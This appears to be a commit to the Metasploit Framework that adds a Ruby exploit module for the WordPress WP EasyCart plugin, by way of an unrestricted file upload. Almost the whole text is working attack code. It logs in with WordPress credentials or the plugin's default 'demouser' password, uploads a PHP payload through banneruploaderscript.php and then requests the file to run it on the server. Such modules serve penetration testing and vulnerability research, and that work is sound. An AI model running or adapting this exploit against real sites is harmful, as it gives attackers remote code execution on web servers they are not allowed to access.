Land #4570, @rastating 's module for wp-easycart
Christian Mehlmauer
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6d46182c2f
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##
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# This module requires Metasploit: http://www.metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FileDropper
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include Msf::HTTP::Wordpress
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'WordPress WP EasyCart Unrestricted File Upload',
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'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for
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WordPress contains a flaw that allows a remote
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attacker to execute arbitrary PHP code. This
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flaw exists because the
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/inc/amfphp/administration/banneruploaderscript.php
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script does not properly verify or sanitize
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user-uploaded files. By uploading a .php file,
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the remote system will place the file in a
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user-accessible path. Making a direct request to
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the uploaded file will allow the attacker to
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execute the script with the privileges of the web
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server.
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In versions <= 3.0.8 authentication can be done by
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using the WordPress credentials of a user with any
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role. In later versions, a valid EasyCart admin
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password will be required that is in use by any
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admin user. A default installation of EasyCart will
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setup a user called "demouser" with a preset password
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of "demouser".},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Kacper Szurek', # Vulnerability disclosure
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'Rob Carr <rob[at]rastating.com>' # Metasploit module
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],
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'References' =>
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[
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['OSVDB', '116806'],
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['WPVDB', '7745']
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],
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'DisclosureDate' => 'Jan 08 2015',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['wp-easycart', {}]],
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),
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OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),
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OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']),
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OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])
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], self.class)
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end
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def username
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datastore['USERNAME']
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end
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def password
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datastore['PASSWORD']
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end
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def ec_password
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datastore['EC_PASSWORD']
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end
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def ec_password_is_hash
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datastore['EC_PASSWORD_IS_HASH']
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end
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def use_wordpress_authentication
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username.to_s != '' && password.to_s != ''
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end
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def use_ec_authentication
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ec_password.to_s != ''
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end
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def req_id
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if ec_password_is_hash
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return ec_password
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else
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return Rex::Text.md5(ec_password)
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end
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end
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def generate_mime_message(payload, date_hash, name, include_req_id)
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data = Rex::MIME::Message.new
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data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
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data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
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data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id
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data
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end
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def setup
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if !use_wordpress_authentication && !use_ec_authentication
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fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
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end
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super
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end
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def exploit
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vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication
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vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication
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if use_wordpress_authentication && use_ec_authentication
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print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")
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end
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if use_wordpress_authentication
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print_status("#{peer} - Authenticating using #{username}:#{password}...")
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cookie = wordpress_login(username, password)
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if !cookie
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if use_ec_authentication
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print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...")
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else
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fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
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end
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else
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print_good("#{peer} - Authenticated with WordPress")
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end
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end
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print_status("#{peer} - Preparing payload...")
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payload_name = Rex::Text.rand_text_alpha(10)
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date_hash = Rex::Text.md5(Time.now.to_s)
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uploaded_filename = "#{payload_name}_#{date_hash}.php"
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plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
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uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
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payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
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data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)
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print_status("#{peer} - Uploading payload to #{payload_url}")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => uploader_url,
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data.to_s,
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'cookie' => cookie
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)
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fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
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vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
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print_status("#{peer} - Executing the payload...")
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register_files_for_cleanup(uploaded_filename)
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res = send_request_cgi(
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{
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'uri' => payload_url,
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'method' => 'GET'
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}, 5)
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if !res.nil? && res.code == 404
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print_error("#{peer} - Failed to upload the payload")
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else
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print_good("#{peer} - Executed payload")
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end
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end
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end
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